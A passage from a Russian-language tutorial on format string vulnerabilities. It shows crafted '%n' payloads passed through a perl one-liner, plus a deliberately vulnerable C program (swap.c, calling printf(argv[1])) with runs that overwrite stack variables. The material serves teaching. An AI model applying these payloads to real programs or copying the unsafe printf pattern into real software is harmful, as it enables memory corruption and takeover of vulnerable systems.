П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 177544 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 74862 раз(а).

Учебник HTML.
Просмотров 73655 раз(а).

Руководство по PHP5.
Просмотров 44567 раз(а).

Хостинг через призму DNS.
Просмотров 51321 раз(а).

Подборка текстов стандартных документов.
Просмотров 44693 раз(а).

Учебник PHP - Самоучитель
Просмотров 50942 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 51376 раз(а).

Внешние атаки...
Просмотров 41600 раз(а).

Учебник PHP.
Просмотров 36886 раз(а).

SSI в примерах.
Просмотров 27627 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Первые шаги

Вернемся к программе stack:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [dця›000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

Мы задали в качестве строки ввода:
  1. адрес переменной i;
  2. инструкцию форматирования (%.496x);
  3. вторую инструкцию форматирования (%n), которая произведет запись по данному адресу.
Чтобы определить адрес переменной i (здесь 0xbffff664), мы можем запустить программу дважды и соответственно поменять командную строку. Как вы заметили, i имеет новое значение :) Данная строка форматирования и организация стека делают вызов snprintf() подобным на:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 first bytes in buffer);

Первые четыре байта (содержащие адрес i) записываются в начало buffer. Формат %.496x позволяет нам избавится от переменной tmp, которая расположена в начале стека. Затем, когда доходит дело до инструкции %n, адрес, который она использует, - есть адрес переменной i, расположенный в начале buffer. Хотя требуемая точность равна 496, snprintf записывает максимум 60 байт (т.к. длина буфера - 64 и 4 байта уже записано). Значение 496 - произвольное, оно используется только чтобы изменить "счетчик байтов". Мы видели, что формат %n сохраняет количество байт, которое должно будет записано. Это значение равно 496, к которому мы добавляем 4 из-за 4 байт адреса i в начале buffer. Поэтому у нас получается 500 байт. Это значение будет записано в следующий адрес, расположенный в стеке, который является адресом i.

Мы можем пойти дальше в развитии данного примера. Чтобы изменить i, нам надо было знать ее адрес ... однако иногда программа сама предоставляет его:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Запуск этой программы показывает, что мы можем управлять стеком (почти) как мы хотим:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Как вы можете видеть, в зависимости от аргумента, мы можем менять cpt1 или cpt2. Формату %n нужен адрес, вот почему мы не можем напрямую работать с переменными (например используя %3$n (cpt2) или %4$n (cpt1)), однако можем это делать через указатели. Последнее - "полуфабрикат" с огромными возможностями для модификации.

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru